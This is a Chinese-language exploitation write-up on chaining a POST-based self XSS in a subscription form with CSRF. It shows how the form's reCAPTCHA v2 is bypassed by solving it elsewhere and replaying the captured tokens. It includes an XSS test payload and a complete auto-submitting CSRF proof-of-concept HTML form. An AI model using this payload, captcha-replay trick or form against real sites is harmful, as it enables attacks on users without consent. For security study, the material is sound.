记一次Self XSS+CSRF组合利用

视频教程在我主页简介或专栏里

（不懂都可以来问我专栏找我哦）

确认 XSS 漏洞

　确认 CSRF 漏洞

这个漏洞是我在应用程序的订阅表单中发现的一个 XSS 漏洞，只能通过 POST 请求进行利用。通常情况下，基于 POST 的 XSS 如果没有与 CSRF 结合来展示其影响力，那么这就是一个普通的反射型 XSS（Self XSS）。本来这不会成为一个大问题，但这个表单中实现了 Google reCAPTCHA v2。本文将探讨我是如何绕过 CAPTCHA，从而成功实现 CSRF 攻击的。

为了保持匿名性，我们假设目标网站是 https://www.target.com。当你访问 target.com 时，会看到一个注册和登录表单，但引起我注意的是一个订阅按钮，该按钮会将你引导至 https://www.target.com/subscribe。在这个页面上，会显示一个表单。

提交表单后，我们会收到一条感谢消息，其中显示了我们的名字（例如 John）。

确认 XSS 漏洞

我们可以使用以下 payload 在该字段中测试反射型 XSS 漏洞：

"><svg/onload=confirm(document.domain)>

当我们提交表单时，payload 被成功执行。现在我们已经确认了漏洞的存在，但问题在于，这个漏洞基于 POST 请求，如果没有 CSRF 的配合，它就会变成一个自我 XSS（Self XSS）。

确认 CSRF 漏洞

如果 CAPTCHA 没有被稳健地实现，它并不能保护应用程序免受 CSRF 攻击，主要作用只是提供一定程度的速率限制。在解决 CAPTCHA 后，会生成三个动态参数：captcha_sid、captcha_token 和 g_recaptcha_response。这里的“动态”是指它们的值会在每次解决 CAPTCHA 时发生变化。要构造一个完美的 CSRF 表单，我们需要能够为这些参数传递有效的值。

那么，如果我在另一个浏览器中解决了 CAPTCHA，但不将其提交到服务器，而是将这些答案重放到 CSRF 表单中，会怎样呢？我在一个私密标签页中打开了表单页面，填写了表单内容，然后解决了 CAPTCHA。我在 Burp Suite 中启用了拦截功能，并点击了提交。请求被拦截后，我复制了 CAPTCHA 参数的值，并将它们插入到我的 CSRF 漏洞利用演示（PoC）表单中。

<html> <body> <h1>CSRF PoC</h1> <form action="https://www.target.com/subscribe" method="POST"> <input type="hidden" name="name_first" value="'><svg/onload=confirm(document.domain)>" /> <input type="hidden" name="name_last" value="Doe" /> <input type="hidden" name="email_address" value="test@fake.com" /> <input type="hidden" name="company_name" value="FakeCompany" /> <input type="hidden" name="captcha_sid" value="INSERT-HERE" /> <input type="hidden" name="captcha_token" value="INSERT-HERE" /> <input type="hidden" name="captcha_response" value="Google no captcha" /> <input type="hidden" name="g-recaptcha-response" value="INSERT-HERE" /> <input type="hidden" name="captcha_cacheable" value="1" /> <input type="hidden" name="op" value="Submit" /> <input type="hidden" name="form_build_id" value="form-Vwtw-XX&" /> <input type="hidden" name="form_id" value="XX_subscribe_sign_up_form" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body></html>